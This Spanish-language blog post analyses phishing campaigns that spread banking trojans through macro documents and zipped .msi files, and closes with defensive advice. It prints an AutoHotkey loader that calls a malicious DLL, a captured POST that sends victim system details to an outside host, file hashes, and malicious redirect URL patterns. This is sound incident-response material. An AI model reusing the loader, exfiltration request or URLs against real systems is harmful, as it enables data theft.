Troyanos bancarios de moda: mekotios y grandoreiros

A lo largo de este verano hemos recibido infinidad de correos, entre los cuales existe, por desgracia, un buen número de troyanos bancarios. Estos correos se suelen caracterizar por tener varias cosas en común, que es lo que vamos a explicar en este artículo.

Como elemento común (y básico para que el usuario caiga en la trampa), los correos suelen tener un gancho para que el usuario se vea en la necesidad de abrirlo: una multa de la DGT, una factura impagada de la luz, temas relacionados con la agencia tributaria, etc.

Por norma general, entre todos los correos analizados se pueden identificar dos clases principales: los correos con adjunto (habitualmente un documento doc, con macros maliciosas) y los correos con un enlace. Estos últimos son más peligrosos en cierto sentido ya que, los adjuntos que vienen por correo se suelen tener controlados y analizados, pero es más difícil controlar los ficheros que se descargan vía http por un link en el cuerpo del mensaje. Cuando son correos con enlaces, pueden descargar también un doc con macros, o a veces un fichero comprimido con un archivo .msi en su interior.

Además de esto, se identifican una serie de patrones, que no en todos los enlaces de correo se producen, pero sí en muchos, y que pueden ayudar a prevenir la descarga de estos archivos maliciosos, que se detallarán al final del artículo.

1. Correos con doc adjunto

Este tipo de documentos son fáciles de explotar; no tienen técnicas anti-sandbox y simplemente abriendo el documento en una maquina virtual, enseguida se ven las conexiones http.

En todos los casos son conexiones mixtas entre http y https, salvándose las espaldas, por si alguna de ellas no está permitida.

Tras la ejecución, se descarga lo que parece un simple index.html, pero que después corroborándolo con un file se ve que es un pe32:

file index*
index.html: PE32 executable (GUI) Intel 80386, for MS Windows
index.html.1: PE32 executable (GUI) Intel 80386, for MS Windows
index.html.2: PE32 executable (GUI) Intel 80386, for MS Windows
index.html.3: PE32 executable (GUI) Intel 80386, for MS Windows

Además, cada uno tiene un hash diferente:

sha1sum index*
d1baaf358c8d3f02e1a308e38e2c11ea66027e2e index.html
44c015b2ab37feb757cc91fd31c67378b411c82d index.html.1
7d58e0d4ab3eb7369abe936e9fe31bdd1a0a3a46 index.html.2
febc90ac7501028349bcfbf7189060c5854d3d9e index.html.3

Justo en el momento de escribir este articulo, el hash en VT muestra 3 detecciones nada más, indicando que se trata de un emotet:

Lo primero y mas importante es la contención. Por lo tanto, ante un correo de este tipo lo más importante sería el borrado del correo. Después el bloqueo de los dominios tras explotar el documento, y posteriormente buscar en los log de navegación si existen indicios de esas conexiones. 

Una vez tengamos claro que no hay contactos y que el potencial ciberincidente está contenido, se puede ejecutar el pe32 y ver en este segundo paso las conexiones para prevenir futuros disgustos. Generalmente, suelen hacer múltiples conexiones contra direcciones IP diferentes.

2. Correos con enlace en el cuerpo del mensaje

El segundo tipo de correos maliciosos es el que presenta un enlace en el cuerpo del mensaje, aunque a veces el correo incluye un adjunto y un enlace, para tener más oportunidad de acierto. En el caso de tener únicamente un enlace, este puede apuntar a un doc con macros como el explicado antes, o un zip con .msi dentro, que es el que voy a explicar ahora.

La siguiente imagen muestra un tipo de correos habitual:

En estos casos lo primero sería bloquear el dominio de donde se descarga el zip, y si se tiene un firewall capaz de bloquear ficheros msi, exe, etc. comprimidos, mejor aún. Una vez descargado el .msi, al ejecutarlo en una maquina virtual se observa que suele descargar en un segundo paso un fichero con extensión .djx.

Como se ve, en realidad, es un fichero comprimido que a su vez suele contener tres archivos, que son una dll, un pe32 y un fichero de texto con instrucciones:

file *.djx
ezemesevententaefaicoa.djx: Zip archive data, at least v2.0 to extract

unzip ezemesevententaefaicoa.djx

file *
C83LPMRMEUI5KYSNSEC1AD312GUSH1EYDWK1DSA: PE32 executable (GUI) Intel 80386, for MS Windows
OLH1G3YVDOFIAOYOCR1VXZRVGO4KJ4EVEFU: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
OZX0QFHTAF2N1D2DPZPSOL49K84U6SVP9: ASCII text, with CRLF line terminators

Si se visualiza el contenido del fichero descargado OZX0QFHTAF2N1D2DPZPSOL49K84U6SVP9, vemos lo siguiente:

#NoEnv
#NoTrayIcon
#SingleInstance off
SetWorkingDir %A_ScriptDir%
KSSG8TA5T45UKY50QJE3ASHCW4QOQZL6VW := A_Args[1]
DllCall(KSSG8TA5T45UKY50QJE3ASHCW4QOQZL6VW . "\T32S722XO6TQQT1M7FB2SKP5SIPVAFK")

Se observa que son una serie de instrucciones de autohotkey (https://www.autohotkey.com/) a ejecutar, concretamente la llamada a una dll y un argumento. Por tanto, ya tenemos un ejecutable al que se le puede pasar una dll y un argumento. Poniendo las extensiones donde tocan y ejecutando desde cmd:

Se ve que hace un post enviando información:

0/01/20 05:07:14 PM [ HTTPListener80] POST /ebos99/?jama28nta HTTP/1.1
10/01/20 05:07:14 PM [ HTTPListener80] Content-Type: application/x-www-form-urlencoded; Charset=UTF-8
10/01/20 05:07:14 PM [ HTTPListener80] Accept: */*
10/01/20 05:07:14 PM [ HTTPListener80] Accept-Language: es
10/01/20 05:07:14 PM [ HTTPListener80] User-Agent: Mozilla/4.0 (compatible;MSIE 6.0; Windows NT 5.0
10/01/20 05:07:14 PM [ HTTPListener80] Content-Length: 116
10/01/20 05:07:14 PM [ HTTPListener80] Host: ruyaistasyonu.com
10/01/20 05:07:14 PM [ HTTPListener80]
10/01/20 05:07:14 PM [ HTTPListener80] operation=incluirainciso&US=mi equipo&VE=ESM65--22-19&OS=Windows 7 Ultimate6.17601-32&FE=gUKfJk42&PL=ChromeHTML&AV=

Aunque últimamente este tipo de ataques hace uso de Hotkeys, en el pasado utilizaban Autoit. Hay que tener en cuenta que a medida que pasa el tiempo los atacantes van cambiando el tipo de ofuscamiento; también es posible encontrar un fichero de texto en base64, que al decodificarlo devuelve otro texto en base64, y este al decodificarlo por segunda vez devuelve el binario.

3. Aspectos en común

En estas oleadas de correos hay varias características que se comparten.

A menudo, estas oleadas llegan desde un origen tipo root@dominio, se reciben en un intervalo de tiempo corto y suelen ser múltiples correos.

En otros casos, si se realiza un script que busque las URL dentro de los cuerpos de los mensajes y los analice de forma automática, veremos URL que llevan un doble http, como en el siguiente caso:

http://dominiomalicioso.com/wp-admin/sites/vWozBjGH3mG1j6ZJv/">https://dominio_legitimo.com/esp/vv6o4skk10sp6/h0nl-0428013-72157944-59cn863oy-a86jbwrso

Este, por ejemplo, es otro caso de doble URL:

http://dominiomalicioso.com/r/https://attachments/1TChypudZkygI3

He incluso es posible encontrarlos redirigiendo con Google:

https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwib-
Nf_1OjrAhXnoosKHWfdDAEQFjAAegQIAhAB&url=https://dominio.com/&usg=AOvVaw2D6-feSMe6GtQ5dt0Sq8fi

Un plugin muy interesante para analizar las URL dentro de correos para zeek/bro es smtp_url_analysis: https://github.com/initconf/smtp-url-analysis

Por lo tanto, como medidas de prevención tenemos:

  • Bloqueo de macros en documentos ofimáticos.
  • Bloquear descarga de ficheros comprimidos con binarios en su interior.
  • Análisis de URL con doble http o redirección a través de Google.
  • Búsqueda de dominios desde listas online actualizadas (https://paste.cryptolaemus.com/).